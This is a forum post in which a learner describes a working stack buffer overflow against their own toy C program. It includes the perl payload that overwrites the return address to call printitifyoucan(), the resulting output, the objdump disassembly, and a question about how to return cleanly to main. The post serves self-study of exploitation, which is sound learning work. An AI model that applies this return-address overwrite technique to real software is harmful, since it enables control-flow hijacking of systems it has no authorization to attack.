Damn your absolutely correct! arg[0] = the programs name = ./exploit , arg[1] = the input string
So all I had to do to get it to work is to change the arg[0] to arg[1]
Just got my first bufferoverflow to work coooooooooool!!!! (only took me about a 10 year period to understand these damn things)
The input string was
Code: Select all
./exploit `perl -e 'print "\x74\x84\x04\x08" x 100;' `
the address of printitifyoucan() changed when I recompiled so I have to use 0x08048474 now no big deal though
But if anybody is following along....
I have noticed that I have to put the address on the stack 62 times before it does the overflow I can probably exactly figure out why when looking at the disassembled program with objdump and counting variables ,stack frames ,..etc
but normally it is easier to just try random numbers and use sort of a binary search technique...etc
The output is this
Code: Select all
./exploit `perl -e 'print "\x74\x84\x04\x08" x 62;' `
Got here!exploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit Segmentation fault
Interesting it called my printitifyoucan around 50 something times probably because I overflowed everything after the return address with the same address.. so it uses these as the next , and next ,...etc return address's.
For me to only call the printitifyoucan function once I could flood it with NOP or any other bytes until I get to the exact location of the return address where I want it ONCE on the stack. Then it should call the function once before segmentation fault occurs.
But what happens if I wanted to call my printitifyoucan function and then return to the next line in main. (SO I Don't segment fault after I call the exploited printitifyoucan function. ) Would all I have to do is make sure next return address i.e the one that printitifyoucan returns to is the address in main where I want the next instruction to be executed at?
For instance objdump gives
Code: Select all
....
08048414 <main>:
8048414: 55 push ebp
8048415: 89 e5 mov ebp,esp
8048417: 83 e4 f0 and esp,0xfffffff0
804841a: 83 ec 10 sub esp,0x10
804841d: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
8048420: 83 c0 04 add eax,0x4
8048423: 8b 00 mov eax,DWORD PTR [eax]
8048425: 89 04 24 mov DWORD PTR [esp],eax
8048428: e8 20 00 00 00 call 804844d <bufferoverflow>
804842d: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
8048430: 83 c0 04 add eax,0x4
8048433: 8b 10 mov edx,DWORD PTR [eax]
8048435: b8 50 85 04 08 mov eax,0x8048550
804843a: 89 54 24 04 mov DWORD PTR [esp+0x4],edx
804843e: 89 04 24 mov DWORD PTR [esp],eax
8048441: e8 0a ff ff ff call 8048350 <printf@plt>
8048446: b8 00 00 00 00 mov eax,0x0
804844b: c9 leave
804844c: c3 ret
0804844d <bufferoverflow>:
804844d: 55 push ebp
804844e: 89 e5 mov ebp,esp
8048450: 83 ec 38 sub esp,0x38
8048453: b8 69 85 04 08 mov eax,0x8048569
8048458: 89 04 24 mov DWORD PTR [esp],eax
804845b: e8 f0 fe ff ff call 8048350 <printf@plt>
8048460: 8b 45 08 mov eax,DWORD PTR [ebp+0x8]
8048463: 89 44 24 04 mov DWORD PTR [esp+0x4],eax
8048467: 8d 45 e4 lea eax,[ebp-0x1c]
804846a: 89 04 24 mov DWORD PTR [esp],eax
804846d: e8 ce fe ff ff call 8048340 <strcpy@plt>
8048472: c9 leave
8048473: c3 ret
08048474 <printitifyoucan>:
8048474: 55 push ebp
8048475: 89 e5 mov ebp,esp
8048477: 83 ec 18 sub esp,0x18
804847a: b8 73 85 04 08 mov eax,0x8048573
804847f: 89 04 24 mov DWORD PTR [esp],eax
8048482: e8 c9 fe ff ff call 8048350 <printf@plt>
8048487: c9 leave
8048488: c3 ret
8048489: 90 nop
804848a: 90 nop
804848b: 90 nop
804848c: 90 nop
804848d: 90 nop
804848e: 90 nop
804848f: 90 nop
....
The last thing that was executed in main before the bufferoverflow was "call bufferoverflow" then bufferoverflow function was executed, my string of address overflowed the return address of bufferoverflow to return to my printitifyoucan function,.... but returning from my printitifyoucan function I should return it to the instruction in main right below call bufferoverflow to execute the last of the main and not to segment fault.
The only thing I am wondering about is if I overflowed to much of the stack won't a segment fault occur when ret is executed at the end of main?
i.e
Code: Select all
8048428: e8 20 00 00 00 call 804844d <bufferoverflow>
804842d: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
8048430: 83 c0 04 add eax,0x4
8048433: 8b 10 mov edx,DWORD PTR [eax]
8048435: b8 50 85 04 08 mov eax,0x8048550
804843a: 89 54 24 04 mov DWORD PTR [esp+0x4],edx
804843e: 89 04 24 mov DWORD PTR [esp],eax
8048441: e8 0a ff ff ff call 8048350 <printf@plt>
8048446: b8 00 00 00 00 mov eax,0x0
804844b: c9 leave
804844c: c3 ret
To me after my exploit occured to get the program to run and finish as normal I would need to return from my printitifyoucan to address 804842d.
Any objections in my reasoning?
Also one other thing that is bugging me is if I put 62 , or 100 , or 300 or whatever times the address back to back on the stack it always seems execute my printitifyoucan function a little under that number? I was thinking if I overflowed it back to back 62 ,100,200,...etc times it would keep returning me to my function 62,100,200 times but this is not the case it falls short a few by counting the outputs printed lines. Their is nothing else being pushed on the stack with this function since it takes no parameters.... so maybe it is some shift in address issue or something.... anyway a little odd but other then that I completely understand how to do it.
awesome
Thanks for the help
stupid me